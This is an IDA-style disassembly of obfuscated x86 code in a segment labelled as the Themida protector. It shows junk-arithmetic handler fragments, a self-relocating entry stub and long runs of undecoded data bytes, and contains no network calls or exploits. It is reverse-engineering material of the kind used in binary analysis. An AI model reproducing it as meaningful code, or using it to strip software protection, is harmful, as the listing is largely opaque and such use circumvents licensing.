		dd offset word_6278FA
		dd offset byte_61CF7D
		dd offset dword_623F24
		dd offset dword_62186C
		dd offset word_61E33A
		dd offset byte_620EC7
		dd offset dword_61D67C
		dd offset byte_61EE6D
		dd offset word_626562
		dd offset word_61D092
		dd offset aN1Qhan	; "1Qhn"
		dd offset byte_61E9D7
		dd offset word_6230EA
		dd offset byte_621BFB
		dd offset byte_627D83
		dd offset word_61D03E
		dd offset dword_625134
		dd offset byte_6278C3
		dd offset dword_625E38
		dd offset dword_627194
		dd offset byte_622499
		dd offset aNrsza	; "Ra"
		dd offset dword_6226FC
		dd offset byte_626BD3
		dd offset dword_61D480
		dd offset byte_6218A9
		dd offset dword_624760
		dd offset byte_61C489
		dd offset word_62281E
		dd offset word_61D276
		dd offset dword_620204
		dd offset word_62173A
		dd offset word_62355E
		dd offset byte_61E6DB
		dd offset byte_627779
		dd offset byte_626D21
; ---------------------------------------------------------------------------


loc_61C1D8:				; CODE XREF: Themida_:0068840Bj
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7D82B37h
		mov	eax, edi
		add	edi, 7D8284Fh
		cmp	eax, [edi+2Ch]
		jnz	short loc_61C1F6
		jmp	short loc_61C209
; ---------------------------------------------------------------------------


loc_61C1F6:				; CODE XREF: Themida_:0061C1F2j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_61C205
; ---------------------------------------------------------------------------


loc_61C200:				; CODE XREF: Themida_:0061C207j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_61C205:				; CODE XREF: Themida_:0061C1FEj
		or	ecx, ecx
		jnz	short loc_61C200


loc_61C209:				; CODE XREF: Themida_:0061C1F4j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_61C216:				; CODE XREF: Themida_:0061C21Dj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_61C216


loc_61C21F:				; CODE XREF: Themida_:loc_61C2E6j
					; Themida_:0061C566j ...
		lodsb
		push	529Dh
		jmp	loc_623DFB
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 4C581h, 2C330000h, 242C3124h, 6705E9h, 2EBF5700h
		dd 8173C52Bh, 3AD4D6C7h, 5FFD018Ch, 90F2E9h
		db 0
; ---------------------------------------------------------------------------


loc_61C255:				; CODE XREF: Themida_:00624BBAj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_61EF99
; ---------------------------------------------------------------------------
		dd 2434FF5Ch, 8324048Bh, 0A1E904C4h, 81000018h,	3D10CFC1h
		dd 59C831B8h, 0F0EE9h, 73C28100h, 89B96FAAh, 0E5815AD5h
		dd 74D72B7Bh, 34DDF581h, 0D5F73B18h, 0C942ED81h, 0E80154EDh
		dd 4E44E9h, 685A5400h, 229h, 0E9243489h, 1C49h,	0E9243C87h
		dd 76D6h, 81FFC283h, 0CC3C43F2h, 4E2C158h, 6333E956h, 0BF570000h
		dd 2, 3C8BFD01h, 4C48324h, 0BD98E9h
		db 0
byte_61C2DD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0061BFA8o
aSf		db '$F',0
		align 2


loc_61C2E6:				; CODE XREF: Themida_:00620BA6j
		jmp	loc_61C21F
; ---------------------------------------------------------------------------
		db 0B4h
		dd 8BE300F9h, 0C4832404h, 51C32804h, 0CB28F9B1h, 2DE95159h
		dd 0FF000080h, 0FF042474h, 48B2434h, 4C48124h, 83000000h
		dd 48F04C4h, 21665C24h,	0E99C2404h, 0FFFFFEFBh,	0E924248Bh
		dd 846Ch, 31243C33h, 3C33243Ch,	24248B24h, 0FF241C89h
		dd 5BE92434h, 1000096h,	24048BC6h, 8104C483h, 4ECh, 24348900h
		dd 42474FFh, 5E2434FFh,	4C481h,	48F0000h, 49D0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61C36A:				; CODE XREF: Themida_:006239F4j
		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_621CFD
; ---------------------------------------------------------------------------
		dd 5F5BDE01h, 48FDE9h, 0E9CF8700h, 0A5EBh, 0E99CC885h
		dd 0FFFFFE8Fh
; ---------------------------------------------------------------------------


loc_61C390:				; CODE XREF: Themida_:0061EA22j
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_6280BD
; ---------------------------------------------------------------------------
		db 68h,	0DEh, 71h
		dd 815B6317h, 8C531CEBh, 96C3816Ah, 892D9AE4h, 0D1095BDAh
		dd 6DE9815Ah, 31FDBEF0h, 240C8BCFh, 0E904C483h,	3729h
		dd 0C181E189h, 4, 8704C183h, 82E9240Ch,	5600005Ah, 181BE9h
		db 0
byte_61C3E1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0061C140o
		dd 1F685024h, 5400007Eh, 6824048Fh, 5DBDh, 4E0EE9h, 24148B00h
		dd 0B119E9h, 0C2815A00h, 4, 4EA81h, 14870000h, 24895C24h
		dd 24048324h, 728E904h,	0F6B80000h, 1EDFDFFh, 815358C3h
		dd 5410242Ch, 0BBE91092h, 1000004h, 1C875AD3h, 0A30F5C24h
		dd 0E99C2404h, 0FFFFFDDBh, 7F91C281h, 32FF1205h, 2434FF59h
		dd 0E089505Ah, 405h, 18D86800h,	2C890000h, 15BB5324h, 0C130FE7Ch
		dd 0F38102E3h, 0C3F9F050h, 15BDD89h, 242C8BE8h,	4C481h
		dd 4870000h, 24248B24h,	7B85E9h
		db 0
byte_61C489	db 54h,	8Bh, 14h	; DATA XREF: Themida_:0061C1B4o
aRitpssfo	db '$RPSF',0
		dw 8B00h
		dd 0C483241Ch, 242C3304h, 33242C31h, 248B242Ch,	0B30F6624h
		dd 0E99C2404h, 0FFFFFD6Bh, 0E9A9C380h, 2C32h, 242C8153h
		dd 1507467Ch, 7FBF575Ah, 4F21147Ah, 25D0E781h, 0EF810D18h
		dd 0EC08D9D4h, 525FFA01h, 95AFE950h, 14330000h,	24143124h
		dd 8B241433h, 8F2D2424h, 663B0A20h, 24E930FFh, 8BFFFFFDh
		dd 0C481240Ch, 4, 6260E9h, 4875E00h, 56505C24h,	541A84BEh
		dd 98E95339h, 100008Ch,	3DD105C8h, 34FF72ACh, 0C4815924h
		dd 4, 7223E9h, 24348900h, 817382BEh, 9FC6E928h,	0EA000000h
		dd 1239E9h, 24348100h, 603559FCh, 59FC3558h, 0E95B6035h
		dd 8625h, 5C24048Fh, 2328E9h
		db 0
; ---------------------------------------------------------------------------


loc_61C561:				; CODE XREF: Themida_:0061F679j
		pop	esp
		mov	[esp], ax
		jmp	loc_61C21F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4BE5600h, 29000000h, 14875EF2h, 2C895C24h, 7CA6824h
		dd 3C890000h, 4AE95024h, 0B9000051h, 20323A6Eh,	74FAE9h
		dd 241C3300h, 0E924248Bh, 0BDE3h, 8B4C280h, 0EFD05AD7h
		dd 8002EFC0h, 0CEE995F7h, 310000BCh, 0B85051D8h, 32784F1Dh
		dd 558C189h, 4AED703Ah,	0B84FED05h, 798DE92Fh, 0E0C10000h
		dd 0BA054004h, 8907641Ch, 2BE958C1h, 520000AEh,	0AFBFE9h
		dd 0EE295800h, 2434875Dh, 2424895Ch, 4240481h, 8F000000h
		dd 0A4682404h, 8900003Dh, 0E2892414h, 8F41E9h
		db 0
; ---------------------------------------------------------------------------


loc_61C60D:				; CODE XREF: Themida_:0061FB83j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_61C21F
; ---------------------------------------------------------------------------
		db 89h
		dd 0DA0159CAh, 4EC81h, 0C890000h, 65E95724h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61C643:				; CODE XREF: Themida_:006216AEj
		pop	edx
		shr	ecx, 0Bh
		push	447Ch
		mov	[esp], ebx
		push	eax
		mov	eax, 2AB034ACh
		and	eax, 460F6D1Ch
		jmp	loc_623810
; ---------------------------------------------------------------------------
aBGkxb		db 'gX/',0
		db 4, 25h, 0E9h
		dd 0B457h, 85BA5258h, 81760E2Ah, 440C2FF2h, 38F28134h
		dd 4A7E1A1Ah, 4055B850h, 0C2013985h, 7EAC158h, 550BC281h
		dd 0D001FF14h, 0DABB535Ah, 506CCF5Ah, 144250B8h, 9A7AE90Ch
		dd 3C890000h, 2474FF24h, 48F5F04h, 24248B24h, 68F1F766h
		dd 79BCh, 54243489h, 5E2434FFh,	4C481h,	0C6810000h, 4
		dd 57B668h, 24048900h, 3595E9h,	4C78300h, 31243C33h, 61E9243Ch
		dd 6800000Ah, 0D71h, 3ED9E9h, 242C8900h, 0CD5663BDh, 7EC58108h
		dd 81359C33h, 0B7C3BBF5h, 8F19E945h, 0E9830000h, 240C8704h
		dd 2424895Ch, 4240483h,	5B2434FFh, 4C481h, 0C3810000h
		dd 4, 18685756h, 5F56050Fh, 6A4EE9h
		db 0
byte_61C73D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0061C084o
aWicsk		db '$WK;',0
		db 0
; ---------------------------------------------------------------------------


loc_61C749:				; CODE XREF: Themida_:00624FDAj
		dec	eax
		inc	eax
		push	eax
		jmp	loc_625F3E
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 8904EC83h, 0F4BA2414h, 0E978ED14h, 0B2ADh
dword_61C764	dd 8B2434FFh, 0C4832404h, 4EC8304h, 54241C89h, 0BA52515Bh
					; DATA XREF: Themida_:0061C05Co
		dd 30B17D8Dh, 815AD189h, 4E8277C1h, 59CB01CFh, 506ABE56h
		dd 0F68157E2h, 45A31655h, 44B7E9h, 24048700h, 0BB2CE9h
		dd 81EA2900h, 4D7793C2h, 0ABEA8168h, 5D4EEC4Ah,	0E9241433h
		dd 0A916h
; ---------------------------------------------------------------------------


loc_61C7B8:				; CODE XREF: Themida_:006276F0j
		shl	edx, 1
		sub	esp, 4
		jmp	loc_61E64B
; ---------------------------------------------------------------------------
off_61C7C2	dd offset loc_43A563+5	; DATA XREF: Themida_:0061BFF4o
		dw 6800h
		dd 33C5h, 89243489h, 83CEE9E6h,	0E5890000h, 27D0B850h
		dd 0FCE976CDh, 0FF00006Dh, 48B2434h, 0E1895124h, 4718E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61C7F2:				; CODE XREF: Themida_:0061F4DFj
		sub	esi, 5A4003D5h
		add	esi, 290C99C5h
		jmp	loc_620A53
; ---------------------------------------------------------------------------
		db 81h
		dd 0DD6978CFh, 0E6CF8124h, 0F73FC25Dh, 72F781D7h, 5681058Ch
		dd 250C76BEh, 0E9F73101h, 5411h, 51DABB53h, 0D9890604h
		dd 17FAE9h, 243C8B00h, 5004C483h, 405E089h, 0E9000000h
		dd 0A235h, 0FFF9D6E9h, 363CBFFFh, 0F9096342h, 6E1C15Fh
		dd 5706E9C1h, 0A8142ABFh, 6C54E916h, 0C6810000h, 4, 56685651h
		dd 0E977E95Ch, 6399h, 25E9F708h, 660000B4h, 55242C8Bh
		dd 1EF9E9h, 0E4E95200h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_61C88B:				; CODE XREF: Themida_:0061D391j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_61D061
; ---------------------------------------------------------------------------
		db 28h,	1Ch, 24h
		dd 52241C8Ah, 0C281E289h, 4, 8570E9h
		db 0
; ---------------------------------------------------------------------------


loc_61C8B5:				; CODE XREF: Themida_:0061F342j
		pop	esp
		push	6233h
		mov	[esp], esi
		push	2000000h
		jmp	loc_624A7C
; ---------------------------------------------------------------------------


loc_61C8C8:				; CODE XREF: Themida_:0062848Fj
		add	edx, eax
		jmp	loc_6216AB
; ---------------------------------------------------------------------------


loc_61C8CF:				; CODE XREF: Themida_:00624186j
		xor	ecx, ebp
		pop	ebp
		xchg	ebp, ecx
		jmp	loc_626DC6
; ---------------------------------------------------------------------------


loc_61C8D9:				; CODE XREF: Themida_:0061FA4Aj
		push	47C119C6h
		jmp	loc_6230F8
; ---------------------------------------------------------------------------
		db 81h
		dd 97F3C7F7h, 0BB53E998h, 5580000h, 10925410h, 39C6815Bh
		dd 1797D7Ah, 39EE81C6h,	58797D7Ah, 8B243487h, 0F7662424h
		dd 236668F9h, 0C890000h, 53266824h, 8F540000h, 4832404h
		dd 0C8B0424h, 4C48124h,	52000000h, 8079F8BAh, 36BB5373h
		dd 81096737h, 2E6F58C3h, 7EBC15Bh, 0F705EBC1h, 0F7D387D3h
		dd 81D387D2h, 0F55616F3h, 5BDA096Eh, 0B470E9h, 45BD5500h
		dd 812BEC27h, 8D0C6AF5h, 5DE82968h, 7902E9h
		db 0
; ---------------------------------------------------------------------------


loc_61C96D:				; CODE XREF: Themida_:0062563Bj
		and	edx, 7B240C0Ch
		push	ecx
		push	49D347A2h
		pop	ecx
		shr	ecx, 7
		sub	ecx, 0EB5C31A0h
		sub	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, 4FB98F78h
		mov	ebx, edx
		pop	edx
		not	ebx
		sub	ebx, 0DAA36C9Dh
		jmp	loc_61DDC2
; ---------------------------------------------------------------------------
byte_61C9A1	db 66h,	8Bh, 4		; DATA XREF: Themida_:0061C130o
aHQ		db '$hQ',0
		align 2
		dw 0C89h
		dd 50E18924h, 0E904EC83h, 584Ch, 51E28952h, 4B9h, 59CA0100h
		dd 8704C283h, 0E95C2414h, 617Eh, 4246C81h, 64FA4F66h, 4245C29h
		dd 4F66BD55h, 6C0164FAh, 8B5D0824h, 23E9241Ch, 0B3000083h
		dd 0E9CBFE0Bh, 0B18Fh, 875AD101h, 0D3E9240Ch, 0B200003Ah
		dd 5AD38836h, 285BDC28h, 0B60F58E3h, 8734FFC0h,	8F240481h
		dd 0E93B0A20h, 0A8Eh
dword_61CA20	dd 9D1C77FFh, 1CD35966h, 16E99C24h, 6600005Bh, 0E9241489h
					; DATA XREF: Themida_:0061BFA4o
		dd 7FF5h, 0BB241C89h, 33FA31E1h, 2292E9h, 0FFFF0500h, 548FFFFh
		dd 3A182116h, 73BAB951h, 0C801C8C9h, 58C10159h,	3304C183h
		dd 0C31240Ch, 240C3324h, 0F24248Bh, 5452C8BFh, 67F7E9h
		dd 30C28100h, 8121C51Dh, 976088EAh, 0E9EA0147h,	737Dh
		dd 90E9C231h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61CA8F:				; CODE XREF: Themida_:0061D083j
		xor	esi, ecx
		pop	ecx
		add	esi, 6A1F614Dh
		add	esi, 6BCC069Dh
		add	esi, 0C6529A2h
		jmp	loc_622C6E
; ---------------------------------------------------------------------------
		db 1, 0F9h, 5Fh
		dd 8702C183h, 665C240Ch, 9C240CFFh, 77F7E9h, 4C68300h
		dd 0E9243487h, 79B1h
; ---------------------------------------------------------------------------


loc_61CAC8:				; CODE XREF: Themida_:006246C7j
		add	eax, ebp
		push	edx
		mov	edx, 6EC26239h
		add	eax, edx
		pop	edx
		pop	ebp
		jmp	loc_62223F
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 2424D25Ch, 441FE99Ch, 0F2890000h, 7258E95Eh,	77BE0000h
		dd 0E93B7F22h, 8426h
dword_61CAF8	dd 22AE68h, 0CF8E900h		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61CB02:				; CODE XREF: Themida_:0061E026j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, 737B79E0h
		add	eax, ebp
		sub	eax, 737B79E0h
		pop	ebp
		jmp	loc_622513
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 77FB5A7Dh, 0EF81DFF7h, 71FC0D99h, 3C8BFB89h,	4C48324h
		dd 5558EB81h, 0F74B1FB2h, 7EC9E9DBh, 3C8B0000h,	4C48324h
		dd 4C781h, 0BB530000h, 4, 875BDF01h, 248B243Ch,	0E2895224h
		dd 3D14BE56h, 0EE810FADh, 0FFFFFFFFh, 3203F681h, 0DEF71F59h
		dd 24B0EE81h, 74E93981h, 1000097h, 9D21E9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61CB8A:				; CODE XREF: Themida_:00620808j
		mov	ecx, 0FFFFFFFFh
		sub	eax, 4BCD0C2Dh
		add	eax, ecx
		push	edi
		jmp	loc_6267AE
; ---------------------------------------------------------------------------
		dd 5002C083h, 42474FFh,	24048F58h, 6624248Bh, 0E924048Bh
		dd 47E1h
; ---------------------------------------------------------------------------


loc_61CBB4:				; CODE XREF: Themida_:0061ECD2j
		add	al, bh
		pop	bx
		sub	al, 4Bh
		mov	dx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_62701F
; ---------------------------------------------------------------------------
		dd 76C5815Dh, 0E9876BB3h, 92F9h, 705CAA25h, 483EE944h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61CBE2:				; CODE XREF: Themida_:0061D297j
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_623AE3
; ---------------------------------------------------------------------------
		dw 28E9h
		dd 89FFFFF6h, 0E0892404h, 6F5EBA52h, 0B9514C71h, 27D96D1Bh
		dd 0E0E98149h, 0E969217Bh, 0BB2Ah, 4EC81h, 3C890000h, 0C87BF24h
		dd 75BD5CB3h, 1A34CF7h,	243C8BFDh, 0E904C483h, 351Eh, 0E9241487h
		dd 276Dh, 0FC8AC381h, 0DE01A532h, 2434875Bh, 5353E9h, 28DC0400h
		dd 51DC2CD8h, 797A68h, 1090E900h, 34890000h, 81E68924h
		dd 4C6h, 4C68100h, 87000000h, 248B2434h, 0E9545224h, 657Dh
; ---------------------------------------------------------------------------


loc_61CC7C:				; CODE XREF: Themida_:0061E5B6j
		mov	edi, 74A65808h
		inc	edi
		push	ebp
		mov	ebp, 6F39170Ah
		add	ebp, 1760744Ah
		or	ebp, 4C8F150Dh
		add	ebp, 0E67B08E1h
		add	edi, ebp
		pop	ebp
		add	ecx, 4C83AC5h
		add	ecx, edi
		sub	ecx, 4C83AC5h
		mov	edi, [esp]
		add	esp, 4
		mov	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_61F100
; ---------------------------------------------------------------------------
		db 83h
		dd 48704C0h, 48F5C24h, 4895C24h, 0F54DE924h, 0E95DFFFFh
		dd 35E8h
; ---------------------------------------------------------------------------


loc_61CCD8:				; CODE XREF: Themida_:00627752j
		shl	eax, cl
		jmp	loc_620807
; ---------------------------------------------------------------------------
		db 66h
		dd 469DF181h, 0FFC83166h, 52592434h, 0C281E289h, 4, 4C281h
		dd 14870000h, 55665C24h, 0B487E9h
		db 0
; ---------------------------------------------------------------------------


loc_61CD05:				; CODE XREF: Themida_:0061E05Ej
		shr	eax, 1
		sub	eax, 70F874A4h
		push	edi
		mov	edi, 41382436h
		sub	edx, edi
		pop	edi
		add	edx, eax
		add	edx, 41382436h
		pop	eax
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_626EBB
; ---------------------------------------------------------------------------
		dd 4B9h, 88AFE900h
		db 2 dup(0)
word_61CD36	dw 77FFh		; DATA XREF: Themida_:0061C000o
		dd 242C813Ch, 18052328h, 8B2434FFh, 0C4812404h,	4, 8904EC83h
		dd 0E6892434h, 4C681h, 0D8E90000h, 8B00003Dh, 0C4832404h
		dd 35EB6804h, 3C890000h, 0E9545224h, 0FFFFF68Dh, 1573BA52h
		dd 0DAF73F3Eh, 4A08EAC1h, 0C281DAF7h, 4C42CCEEh, 148BD329h
		dd 4C48124h, 66000000h,	0E9631A68h, 9A24h, 6C4DC581h, 0E98940AFh
		dd 491AE95Dh, 0C5FE0000h, 0CDFEC5FEh, 2885C580h, 0D6E959EBh
		dd 6800004Bh, 4F802AC6h, 3C06E95Eh, 0E9590000h,	0B23Ah
		dd 543CBE56h, 0C68149A9h, 55690633h, 2D57E9h, 242C8700h
		dd 8E2E95Ch
		db 2 dup(0)
word_61CDE6	dw 77FFh		; DATA XREF: Themida_:0061BF5Co
		dd 59669D1Ch, 2414D366h, 0F429E99Ch, 0CBFEFFFFh, 0E975F380h
		dd 65Dh, 8B385605h, 65B2053Fh, 0F0297910h, 1065B22Dh, 1F46E979h
		dd 0F1880000h, 8324148Bh, 0CE2804C4h, 262E959h
		db 2 dup(0)
word_61CE26	dw 34FFh		; DATA XREF: Themida_:0061C144o
		dd 1F01E924h, 0E9800000h, 393AE9AFh, 1EB90000h,	1019BDDh
		dd 0D3E95DE9h
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_61CE43:				; CODE XREF: Themida_:0062304Dj
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		or	eax, eax
		jz	loc_61E5E6
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_622930
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 50000000h,	238FE9h, 0C1D9F700h, 97E904E1h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61CE87:				; CODE XREF: Themida_:00627398j
		pop	edx
		add	esp, 4
		push	edi
		mov	edi, 6B0057Dh
		jmp	loc_627C65
; ---------------------------------------------------------------------------
aFSA		db 'f)A',0
		dd 78E95C00h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61CEA7:				; CODE XREF: Themida_:0061EA7Fj
		sub	esp, 4
		jmp	loc_627B91
; ---------------------------------------------------------------------------
		db 89h
		dd 0E951243Ch, 0FECh, 0DFE5EA81h, 0D089CF59h, 1C47095Ah
		dd 0A3EFE9h, 42333500h,	0BA527394h, 5E9656D5h, 20B9CA81h
		dd 0DAF75831h, 8104EAC1h, 0FE8008EAh, 4BF9E9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61CEEA:				; CODE XREF: Themida_:0061D4D7j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_62053C
; ---------------------------------------------------------------------------
		dd 0E92414F7h, 4D25h, 50241C89h, 3890BB53h, 0BA521F1Ah
		dd 5A5A6C78h, 163AE9h, 1A77B800h, 6C816BF6h, 72100424h
		dd 44297D64h, 44810424h, 72100424h, 0EAE97D64h,	0E90000B6h
		dd 0FFFFF2E7h, 8159CB09h, 981A87C3h, 5BDA0109h,	0FF1C5709h
		dd 575A2434h, 0C781E789h, 4, 8704C783h,	685C243Ch, 754Eh
		dd 57241C89h, 4EC81h, 4890000h,	4E9EB824h, 0C7893231h
		dd 582434FFh, 0FFFA3BE9h
		db 0FFh
byte_61CF7D	db 66h,	0FFh, 32h	; DATA XREF: Themida_:0061C14Co
		dd 8593E9h
		db 0
; ---------------------------------------------------------------------------


loc_61CF85:				; CODE XREF: Themida_:0061D9CCj
		pop	esp
		add	esp, 4
		jmp	loc_61FF3D
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 99h
		dd 0F776976Eh, 0FF5646D6h, 0E95E240Ch, 46BAh, 0EC835E54h
		dd 24148904h, 4BAh, 5AD60100h, 4C681h, 34870000h, 0C3295C24h
		dd 57E0BA52h, 0EA8113F0h, 47921E34h, 3D14E9h, 24343300h
		dd 0F624248Bh, 0B60F66E9h, 4EC83CCh, 89243C89h,	0A167E9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61CFEA:				; CODE XREF: Themida_:0062256Bj
		pop	bx
		xor	dl, 0D5h
		sub	al, 6
		add	al, 0C2h
		add	al, dl
		sub	al, 0C2h
		add	al, 6
		jmp	loc_624340
; ---------------------------------------------------------------------------
aRs_2		db 'R',0Dh,'[',0
		align 4
		dd 2B9AF781h, 0FB012F55h, 3559E9h
		db 0
; ---------------------------------------------------------------------------


loc_61D011:				; CODE XREF: Themida_:006264ADj
		mov	edi, edx
		pop	edx
		jmp	loc_6205CC
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 29h
		dd 0E99C2404h, 0FFFFF1FBh, 68253E2Dh, 5C80123h,	2368253Eh
		dd 83240C8Bh, 0C08304C4h, 9DB2E904h
		db 2 dup(0)
word_61D03E	dw 2DADh		; DATA XREF: Themida_:0061C184o
		dd 322976ADh, 53C305h, 2DD80172h, 720053C3h, 5A8A68h, 324CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61D05A:				; CODE XREF: Themida_:0061DE6Fj
		sub	eax, ecx
		jmp	loc_621940
; ---------------------------------------------------------------------------


loc_61D061:				; CODE XREF: Themida_:0061C89Cj
		xor	edx, [esp]
		pop	esp
		add	edi, 4
		xchg	edi, [esp]
		pop	esp


loc_61D06C:				; CODE XREF: Themida_:0061D46Bj
					; Themida_:00622F8Bj
		push	dword ptr [edi+24h]
		push	ebp
		push	27D0h
		mov	[esp], esi
		mov	esi, 0F892979h
		push	ecx
		mov	ecx, 7D992B81h
		jmp	loc_61CA8F
; ---------------------------------------------------------------------------
		dd 0A9EB80h, 0F422E9F3h
		db 2 dup(0FFh)
word_61D092	dw 8B66h		; DATA XREF: Themida_:0061C16Co
		dd 0FE682404h, 89000003h, 0E589242Ch, 4C581h, 35680000h
		dd 8900003Dh, 0BB53243Ch, 2, 0DA895251h, 0CEE9D189h, 8B000082h
		dd 41E9242Ch, 5B0000ADh, 4C481h, 0A5F30000h, 0E9386203h
		dd 6654h, 6CCCE957h, 34870000h,	24248B24h, 1C9E68h, 0FB09E900h
		dd 566FFFFh, 296645BCh,	0BC2D66D8h, 66516645h, 662C58B9h
		dd 5966C829h, 62C068h, 240C8900h, 23B3E957h, 15B0000h
		dd 24148BD6h, 38E9E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61D11E:				; CODE XREF: Themida_:006226E8j
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_620160
; ---------------------------------------------------------------------------
		db 89h
		dd 45B9240Ch, 0C1595257h, 0BA5205E9h, 313B070Eh, 2BD8BB53h
		dd 0DA315509h, 0E9D1315Bh, 634h, 5C243C33h, 491BE9h, 5E08900h
		dd 4, 39AAE9h, 0B4F58100h, 0E90C0C01h, 179Eh, 0C0E9E689h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61D177:				; CODE XREF: Themida_:0061E757j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_621AC1
; ---------------------------------------------------------------------------
a_ss		db '_陳',0
		dw 8100h
		dd 197591EDh, 81C50166h, 197591C5h, 5F88E966h, 59590000h
		dd 4EB268h, 243C8900h, 41116856h, 0E95E107Bh, 3973h, 51F6B951h
		dd 0CE316A44h, 0E9F20159h, 9A64h, 88C18851h, 34FF284Fh
		dd 240C8B24h, 4C481h, 0B6680000h, 8900007Ch, 8BE9242Ch
		dd 540000A6h, 0C4BE565Fh, 0E917191Bh, 76D9h
; ---------------------------------------------------------------------------


loc_61D1F0:				; CODE XREF: Themida_:00622DA7j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		jmp	loc_6283AC
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 6624248Bh, 2404B30Fh, 9F04E99Ch, 5ABD0000h, 0E93EC272h
		dd 0ACC4h, 2623B951h, 0D1F763F8h, 8105E9C1h, 0E03ECAF1h
		dd 0C2EB8104h, 162875Ch, 0C2C381CBh, 5962875Ch,	5C241C87h
		dd 41ED814Dh, 1B145F6h,	0EC835DE8h, 47B7E904h
		db 2 dup(0)
aNhu1		db 'h1',0             ; DATA XREF: Themida_:0061C120o
		align 4
		dd 57241489h, 325F468h,	243C8B3Ah, 4C481h, 68E90000h, 81000030h
		dd 4EDh, 64A7E900h
		db 2 dup(0)
word_61D276	dw 34FFh		; DATA XREF: Themida_:0061C1BCo
		db 24h,	58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_62479D
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 7FACE9h
		db 0
; ---------------------------------------------------------------------------


loc_61D289:				; CODE XREF: Themida_:00621B57j
		and	eax, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_61CBE2
; ---------------------------------------------------------------------------
		dd 5C240C87h, 1C8B5453h, 0E0895024h, 405h, 4C08300h, 0E9240487h
		dd 48F0h, 0F624248Bh, 0B60F66F9h, 6E1E68CCh, 3C890000h
		dd 52E78924h, 0A3BE5653h, 8137232Dh, 0C60987C6h, 5EF389CEh
		dd 0E201F968h, 711AE903h, 685B0000h, 65A8h, 51241C89h
		dd 6246A4B9h, 0F0CBBB1Dh, 0CB0141DDh, 7587E9h
		db 0
; ---------------------------------------------------------------------------


loc_61D301:				; CODE XREF: Themida_:00627D7Ej
		and	ebp, ecx
		pop	ecx
		jmp	loc_621457
; ---------------------------------------------------------------------------
		db 56h,	83h, 0ECh
		dd 240C8904h, 0FFF27AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61D315:				; CODE XREF: Themida_:00626EFBj
		push	ebp
		mov	ebp, 1F747AF8h
		add	eax, ebp
		pop	ebp
		add	eax, edi
		push	ebx
		push	ecx
		mov	ecx, 1F747AF8h
		jmp	loc_61F619
; ---------------------------------------------------------------------------
		dd 8304C483h, 4E904EAh,	31000045h, 1C33241Ch, 9685C24h
		dd 89000037h, 90E92414h, 5300006Eh, 6DDAE9h
		db 0
; ---------------------------------------------------------------------------


loc_61D351:				; CODE XREF: Themida_:006274A5j
		pop	edi
		push	esi
		mov	esi, 5BC169ECh
		and	esi, 370C091Ah
		not	esi
		xor	esi, 8D33DB07h
		sub	ebx, esi
		pop	esi
		push	ecx
		mov	ecx, 43827F4Ch
		neg	ecx
		inc	ecx
